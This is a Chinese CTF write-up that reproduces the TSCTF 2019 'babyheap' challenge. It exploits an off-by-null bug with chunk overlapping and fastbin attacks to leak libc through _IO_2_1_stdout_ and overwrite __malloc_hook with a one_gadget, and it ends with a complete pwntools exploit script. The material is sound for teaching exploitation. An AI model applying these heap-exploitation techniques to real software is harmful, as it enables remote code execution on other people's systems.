TSCTF 2019 babyheap

TSCTF2019线上赛的一道堆题,babyheap,果然叫这个名字的题目都很难,当时没做出来,当时堆的构造有问题,知道是用_IO_2_1_stdout_来泄露libc,在_IO_2_1_stdout_有一个0x7f,因此要构造一个大小为0x70的double free的堆块,使其进入到fastbin 0x70,然后修改其fd为stdout,但是在修改时这个堆块的size凑不成0x70了,再分配这个堆块时size就过不了检查了。赛后参考官方wp复现了一遍。

题目简述

题目有两个功能,申请和释放堆块,申请的堆块大小最大为0x100,个数最多为16个。libc版本为2.23。

1
2
3
4
5
6
7
WelCome TSCTF2019!!!! Have fun with this babyheap!!!
==============================
= 1. Alloc heap =
= 2. Delete heap =
= 3. Exit =
==============================
>

题目漏洞

在read_data函数中有off by null的漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 __fastcall read_data(__int64 data_buf, int a2)
{
char buf; // [rsp+1Fh] [rbp-11h]
int i; // [rsp+20h] [rbp-10h]
int v5; // [rsp+24h] [rbp-Ch]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
v5 = 0;
for ( i = 0; i < a2; ++i )
{
v5 = read(0, &buf, 1uLL);
if ( v5 <= 0 || buf == 10 )
return __readfsqword(0x28u) ^ v6;
*(_BYTE *)(data_buf + i) = buf;
}
*(_BYTE *)(i + data_buf) = 0; //off by null
return __readfsqword(0x28u) ^ v6;
}

利用思路

因为没有show的功能,需要利用stdout来泄露libc,和另外一道babytcache相同。

1
2
3
1.利用off by null进行chunk overlapping,构造一个大小为0x70的堆块处于double free状态,一个处于fastbin 0x70中,一个处于unsorted bin中,在其fd和bk写入main_arena附近的地址。
3.修改该堆块的fd域的低字节至stdout附近,申请到该堆块并修改其flag和IO_write_base,泄露libc。
3.再次进行chunk overlapping,申请malloc_hook-0x23处的堆块,修改malloc_hook为one_gadget。

利用过程

初始化,申请5个堆块。要有一个0x70的chunk,要用来再malloc_hook-0x23处伪造chunk。

1
2
3
4
5
6
##init
add(0x80,'0'*0x80) #0 0x90
add(0x30,'1'*0x30) #1 0x40
add(0x60,'2'*0x60) #2 0x70
add(0xf0,'3'*0xf0) #3 0x100
add(0x30,'4'*0x30) #4 0x40

释放idx2,再编辑修改idx3的prev_size为0x140,并通过off by null覆盖idx3的chunk的size由0x101变为0x100。进而释放idx0和idx3,再释放idx3时,查看其size为0x100,前一块为freed状态,会根据prev_size找到idx0,触发unink进行chunk的合并,且能通过检查,idx0和idx3合并进入到unsorted bin中,size=0x100+0x140=0x240。这样idx1-idx2就达到了chunk overlapping。

1
2
3
4
5
##overlap idx1+idx2
delete(2)
add(0x68,'2'*0x60+p64(0x140)) #2
delete(0)
delete(3) #free into unsortedbin 0x140+0x100=0x240

此时bins的分布如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757280 (size : 0x20d80)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x555555757000 (size : 0x240)

继续分配chunk,大小一共为0x240,其中,idx3和idx1的起始地址时相同的,idx2和idx5也有重叠,分配完之后unsorted bin变为空。

1
2
3
4
add(0x80,"0000\n") #0
add(0x50,"3333\n") #3 0x60
add(0x40,"5555\n") #5 0x50
add(0xf0,"6666\n") #6 0x100

释放idx5,同样利用off by null将idx6的prev_size为0x140,依然和前一步一样,释放idx0和idx6,idx0和idx6合并,unsorted bin的大小为0x240,idx3和idx5也被认为是freed状态。

1
2
3
4
delete(5)
add(0x48,'a'*0x40+p64(0xf0+0x50)) #5 idx6:prev_size:0x140,size:0x100
delete(0)
delete(6) #free into unsortedbin 0x100+0x140 idx0~idx3+idx5~idx6

此时释放idx2进入到fastbin 0x70,再申请一个0xc0的chunk后,unsorted bin的chunk的起始地址和fastbin 0x70的起始地址相同。这样idx2的fd和bk就有了main_arena附近的地址,再次分配chunk清空unsorted bin。

1
2
3
4
5
delete(2) #free into fastbin 0x70
add(0xc0,"0000\n") #0 unsortedbin addr the same as fastbin 0x70
add(0x20,'\n') #2
add(0xf0,"6666\n") #6
add(0x30,"7777\n") #7

未分配idx2之前,bins的分布:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x5555557570d0 (size error (0x170))
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757280 (size : 0x20d80)
last_remainder: 0x5555557570d0 (size : 0x170)
unsortbin: 0x5555557570d0 (size : 0x170)
gdb-peda$ x /8gx 0x5555557570d0
0x5555557570d0: 0x0000000000000000 0x0000000000000171
0x5555557570e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x5555557570f0: 0x3232323232323232 0x0000000000000051
0x555555757100: 0x6161616161616161 0x6161616161616161

分配了idx2之后bins的分布:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x5555557570d0 (size error (0x30))
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757280 (size : 0x20d80)
last_remainder: 0x555555757100 (size : 0x140)
unsortbin: 0x555555757100 (size : 0x140)

但此时fastbin 0x70中被分配了大小为0x30的idx2,前面说过idx2和idx5由重叠,我们可以将idx5先释放再申请来修正fastbin 0x70里chunk的size,同时覆写其fd为stdout附近。

1
2
3
4
##fastbin attack 0x70:idx2 -> stdout near(0x7f) -> 0x0
delete(3) #0x60 free into fastbin 0x60
payload = 'a'*0x30 + p64(0) +p64(0x71) + '\xdd\x25' + '\n'
add(0x50,payload) #3

修改结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x5555557570d0 --> 0x7ffff7dd25dd (size error (0x78)) --> 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757280 (size : 0x20d80)
last_remainder: 0x555555757200 (size : 0x40)
unsortbin: 0x0

申请两次申请到_IO_2_1_stdout_附近的堆块,修改其flag和write_base,泄露libc。

1
2
3
4
5
6
7
8
##leak libc
add(0x60,"7777\n") #8
add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n') #9 stdout
p.recvuntil("\x00\x18\xad\xfb")
p.recvn(28)
leak_addr = u64(p.recvn(8).ljust(8,'\x00'))
libc_base = leak_addr - (0x7ffff7dd2600-0x7ffff7a0d000)
print "libc_base:",hex(libc_base)

申请stdout附近堆块之前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x7ffff7dd25dd (size error (0x78)) --> 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757280 (size : 0x20d80)
last_remainder: 0x555555757200 (size : 0x40)
unsortbin: 0x0

泄露libc:
1
再次利用off by null,注意此时我们的idx10的前一个堆块是idx4(0x40),修改idx11的prev_size为0x60(0x40+0x20),并且覆盖其size为0x100,这样在delete(11)时会误认为它的前一个堆块处于freed状态,触发unlink会报错,因为它的size(0x40)!=prev_size(0x3434343434343434),然后就会触发malloc_printerr,进而触发我们后面的one_gadget。

1
2
3
4
add(0x18,"aaaa\n") #10
add(0xf0,"bbbb\n") #11
delete(10)
add(0x18,'a'*0x10+p64(0x60)) #10 prev_size:0x60 idx4(0x40)+idx10(0x20)

chunk 11和chunk 4的分布如下:

1
2
3
4
5
6
7
8
9
10
gdb-peda$ x /8gx 0x5555557572a0 #chunk 11
0x5555557572a0: 0x0000000000000060 0x0000000000000100
0x5555557572b0: 0x0000000062626262 0x0000000000000000
0x5555557572c0: 0x0000000000000000 0x0000000000000000
0x5555557572d0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /8gx 0x5555557572a0-0x60 #chunk 4
0x555555757240: 0x0000000000000040 0x0000000000000041
0x555555757250: 0x3434343434343434 0x3434343434343434
0x555555757260: 0x3434343434343434 0x3434343434343434
0x555555757270: 0x3434343434343434 0x3434343434343434

前面我们也知道idx3(0x60)和idx8(0x70)处于重叠状态,将idx8释放掉,我们可以在idx3里修改idx3的fd,进而申请到malloc_hook附近的chunk。

1
2
3
4
5
6
7
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xf02a4
delete(8) #0x70
delete(3) #0x60
add(0x50,p64(0)*6+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+'\n') #3
add(0x60,"aaaa\n") #8
add(0x60,'a'*0x13+p64(one_gadget)+'\n')

修改idx8的fd为malloc_hook-0x23,申请两次申请到该chunk,修改malloc_hook为one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x5555557570d0 --> 0x7ffff7dd1aed (size error (0x78)) --> 0xfff7a92e20000000 (invaild memory)
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x5555557573a0 (size : 0x20c60)
last_remainder: 0x555555757200 (size : 0x40)
unsortbin: 0x0

最后释放idx11触发malloc_printerr->malloc_hook->one_gadget->get shell。
2

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
context.log_level = "debug"

p = process("./babyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./babyheap")

def add(size,data):
p.recvuntil("> ")
p.sendline('1')
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Input data: ")
p.send(data)
#sleep(2)

def delete(idx):
p.recvuntil("> ")
p.sendline('2')
p.recvuntil("delete: ")
p.sendline(str(idx))

##init
add(0x80,'0'*0x80) #0 0x90
add(0x30,'1'*0x30) #1 0x40
add(0x60,'2'*0x60) #2 0x70
add(0xf0,'3'*0xf0) #3 0x100
add(0x30,'4'*0x30) #4 0x40

##overlap idx1+idx2
delete(2)
add(0x68,'2'*0x60+p64(0x140)) #2
delete(0)
delete(3) #free into unsortedbin 0x140+0x100=0x240
gdb.attach(p)

add(0x80,"0000\n") #0
add(0x50,"3333\n") #3 0x60
add(0x40,"5555\n") #5 0x50
add(0xf0,"6666\n") #6


delete(5)
add(0x48,'a'*0x40+p64(0xf0+0x50)) #5 idx6:prev_size:0x140,size:0x100
delete(0)
delete(6) #free into unsortedbin 0x100+0x140 idx0~idx3+idx5~idx6


delete(2) #free into fastbin 0x70
add(0xc0,"0000\n") #0 unsortedbin addr the same as fastbin 0x70
add(0x20,'\n') #2
add(0xf0,"6666\n") #6
add(0x30,"7777\n") #7

##fastbin attack 0x70:idx2 -> stdout near(0x7f) -> 0x0
delete(3) #0x60 free into fastbin 0x60
payload = 'a'*0x30 + p64(0) +p64(0x71) + '\xdd\x25' + '\n'
add(0x50,payload) #3 fastbin attack


##leak libc
add(0x60,"7777\n") #8
add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n') #9 stdout
p.recvuntil("\x00\x18\xad\xfb")
p.recvn(28)
leak_addr = u64(p.recvn(8).ljust(8,'\x00'))
libc_base = leak_addr - (0x7ffff7dd2600-0x7ffff7a0d000)
print "libc_base:",hex(libc_base)


add(0x18,"aaaa\n") #10
add(0xf0,"bbbb\n") #11
delete(10)
add(0x18,'a'*0x10+p64(0x60)) #10 prev_size:0x60 idx4(0x40)+idx10(0x20)


#gdb.attach(p)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xf02a4
delete(8) #0x70
delete(3) #0x60
add(0x50,p64(0)*6+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+'\n') #3
add(0x60,"aaaa\n") #8
add(0x60,'a'*0x13+p64(one_gadget)+'\n')

##trigger malloc_printerr
delete(11) #unlink idx4 size vs prev_size

p.interactive()

参考

TSCTF2019官方writeup